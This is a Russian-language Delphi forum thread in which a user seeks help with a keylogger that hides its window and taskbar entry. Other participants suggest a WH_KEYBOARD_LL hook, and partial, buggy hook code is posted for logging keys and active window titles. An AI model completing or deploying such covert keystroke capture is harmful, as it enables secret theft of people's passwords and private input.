-
Добрый день. Собственно загвоздка в том, что форма скрыта и из dll функция FindWindow ей похоже не находит. Например из dll пытаюсь найти форму Form1 и передать ей команду:
hWnd:=FindWindow(nil,'Form1');
PostMessage(hWnd, ...)
В самой программе делаю обработчик и все вроде ок. НО, если в процессе активации формы указать:
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_Hide);
то в dll функция FindWindow ее не находит... Подскажите, как реализовать?
-
скрытые окна FindWindow находит
-
находит, если использую ее в самой программе. А вот из dll (которую, собственно, инициирую из этой же программы) похоже нет... Комментирую в программе эти две строки:
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_Hide);
и все ок...
-
а окно Application зачем прятать?
-
чтобы в панели задач небыло видно...
-
А накой шиш твоей библиотеке искать окно, если хендл нужного окна твое хост-приложение может преспокойно передать библиотеке ?
-
да хендл окна и не меняется то...смысл его передавать в библиотеку? а может как-то явно указать то его? просто задать: PostMessage(Form1, ...)
? думаю, не прокатит... не имею возможности сейчас попробовать(
-
> смысл его передавать в библиотеку?
А смысл его искать. если он известен ? Заведи в своей dll экпортируемую процедуру и вызывай ее из хоста, передавая ей параметром хендл окна нужной формы. В теле процедуры сохраня полученный хендл куда-нть в глоб.переменную, которую и используй первым параметром в PostMessage
-
ну смысл ясен, спасибо, завтра попробую... и все же интерестно, зная имя окна, а не его хендл, можно послать ему сообщение?
-
> зная имя окна, а не его хендл, можно послать ему сообщение?
Нельзя. Нужен именно хендл.
-
походу это реализация самого идиотского хука за всю историю человечества
-
Нука QAZ9, обоснуй
-
Сергей М. - в библиотеке прописываю процедуру:
procedure handleWnd(hWnd:HWND; i:integer); stdcall; export;
begin
ServerWnd:=hWnd;
end;
При попытке в программе выполнить: handleWnd(Form1.Handle) пишеет, много параметров.. что не так? подскажите
-
че то я запутался.... в самой библиотеке дописал:
if FindWindow(nil,'Form1') <>0 then
ShowMessage('Find');
/CODE>
и получаю это сообщение блин...
-
> пишеет, много параметров.. что не так?
> procedure handleWnd(hWnd:HWND; i:integer); stdcall; export; //загибай пальцы - сколько здесь параметров
> handleWnd(Form1.Handle); //а здесь сколько ?
> и получаю это сообщение блин
Опять ты оглобли заворачиваешь с прямой дороги в буераки ?)
-
попробую описать подробнее, запутался сам... Итак. Основная программа, в которой имеется обработчик события о поступлении сообщения форме, процедура обработчика:
procedure TForm1.KeyMessageHandler(var Msg: TMessage);
var
KeyName:array[0..99] of char;
_MSG:TMsg;
begin
GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));
GetActiveWindow;
if LastActWnd<>ActWnd then
begin
BufferWrite(ActWnd);
end;
KeyName[0]:=chr(Msg.WParamLo);
KeyName[1]:=#0;
BufferWrite(KeyName);
end
else
BufferWrite(KeyName);
BufferWrite('>');
end;
т.е. в буфере имеем кнопку и активное окно, если оно сменилось. в программе, при активации формы прописано:
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_Hide);
В самой библиотеке код я писал:
hWnd:=FindWindow(nil,'Form1');
PostMessage(hWnd, ...)
После долгих пониманий (и так и недопониманий) заметил следующее: по нажатию F9, программа, запускается, окна, естесственно нет. так вот, если сразу нажать какую либо кнопку, сообщение форме не приходит и больше не придет, а вот если сразу выбрать другое приложение (например qip) и нажать - сообщение приходит и пока окно активно, сообщения о нажатии лются фотме, но если опять выбрать другое приложение - все, опять не доходит. Если же в программе закоментиловать одну из строк:
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_Hide);
то все работает. Как это решить, ну никак сообразить немогу. Наверное, потому, что не доконца понимаю работу хуков или еще чего. Помогите пожалуйста. Или может какие альтернативные методы передачи есть...
-
Сергей М. - прости, прислал ошибочный код
procedure handleWnd(hWnd:HWND; i:integer); stdcall; export;
параметр i прописывал для эксперимента и случайно выслал в тему... ошибку о многих параметрах получал при:
procedure handleWnd(hWnd:HWND); stdcall; export;
-
блин... в коде процедуры обработки сообщения форме кое что не дописал, вот так правильно:
procedure TForm1.KeyMessageHandler(var Msg: TMessage);
var
KeyName:array[0..99] of char;
_MSG:TMsg;
begin
GetKeyNameText(Msg.LParam, KeyName, sizeof(KeyName));
GetActiveWindow;
if LastActWnd<>ActWnd then
begin
BufferWrite(ActWnd);
LastActWnd:=ActWnd;
end;
KeyName[0]:=chr(Msg.WParamLo);
KeyName[1]:=#0;
BufferWrite(KeyName);
end
else
BufferWrite(KeyName);
BufferWrite('>');
end;
-
вобщем, помогите, наставте на путь...
-
> Нука QAZ9, обоснуй
обосновать что ? ты для начала, сделай чтобы вообще работало, потом понтуйся :)
-
Похоже QAZ9 (14.11.12 10:41) [10] был не так уж далек от истины)
Ты кейлоггер лепишь что ли ?
-
> ты для начала, сделай чтобы вообще работало, потом понтуйся > :)
уважаемый QAZ9, я ни капли не сомневаюсь в твоих способностях, чес слово, верю тебе). только ты либо отвечай по делу (ну или советуй), либо молчи. мне твои "понтуйся", "идиотский хук" даже близко не нужны.
Сергей М. - да, это кейлоггер. но не каждый кейлоггер несет зло, если вы к этому ведете)
-
Мужики, прошу помочь разобраться. Я ведь не сказал, что я гуру какой, а тут несу бред сивой кобылы. Все когда-то учились.
-
> cad2206 (14.11.12 18:28) [21]
Ну если кейлоггер, то ты вообще не в тот огород полез. Ставь хук WH_LL_KEYBOARD и забудь про свои страдания с DLL как кошмарный сон.
-
Сергей М., спасибо за понимание и помощь. Т.е. мне вообще отказаться от dll и все делать в программе?
-
-
ох млин... завтра начну все сначала)
-
ох млин... завтра начну все сначала)
-
ох млин... завтра начну все сначала)
-
> Т.е. мне вообще отказаться от dll и все делать в программе?
Я не знаю что такое в твоем понимании "все". Но как минимум протоколирование нажатия/отжатия клавиш довольно просто выполняется безо всяких dll установкой вышеупомянутого хука.
-
нужно писать в файл нажатия кнопок с клавиатуры, ну и окно, в котором они нажимаются. без использования dll возможно тем хуком, что ты предложил?
-
-
спасибо, буду завтра изучать
-
И снова здраствуйте)... Попробовал использовать WH_KEYBOARD_LL. Без библиотеки.. Процедура установки хука:
procedure InstallHook;
const
WH_KEYBOARD_LL = 13;
begin
hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
if hHook=0
then RaiseLastOSError;
end;
Основная функция:
function LowLevelKeyboardProc(nCode: Integer;
WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;
type
PKbdDllHookStrukt = ^TKbdDllHookStrukt;
_KBDLLHOOKSTRUCT = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: PDWORD;
end;
TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;
const
RPT_WPARAM_DATA = '%s';
RPT_LPARAM_DATA = '%d';
var
StrResult: string;
Key: array[0..1] of Char;
KeyboardState: tKeyboardState;
ScanCode: integer;
begin
StrResult:='';
if nCode=HC_ACTION
then Result:=CallNextHookEx(hHook, nCode, WParam, LParam);
case WParam of
WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
end;
StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
GetKeyboardState(KeyboardState);
VKey:=strtoint(strresult);
ScanCode:=(LParam shr 16) and $FF;
if ToAscii(VKey,ScanCode,KeyboardState,Key,0)>0 then
begin
GetActiveWindow;
Form1.Memo1.Lines.Add(ActWnd+' / '+Key+' / '+StrResult);
end;
end;
В итоге: 1 проблема: в переменной Key получаю цифру или букву (с учетом регистра), но при нажатии клавиш типа Enter, BreakSpase и т.п не могу получить их названия 2 проблема: в чужих окнах не видится раскладка клавиатуры (выводятся только латинские символы), хотя в своем Memo все ок Куда дальше смотреть?
|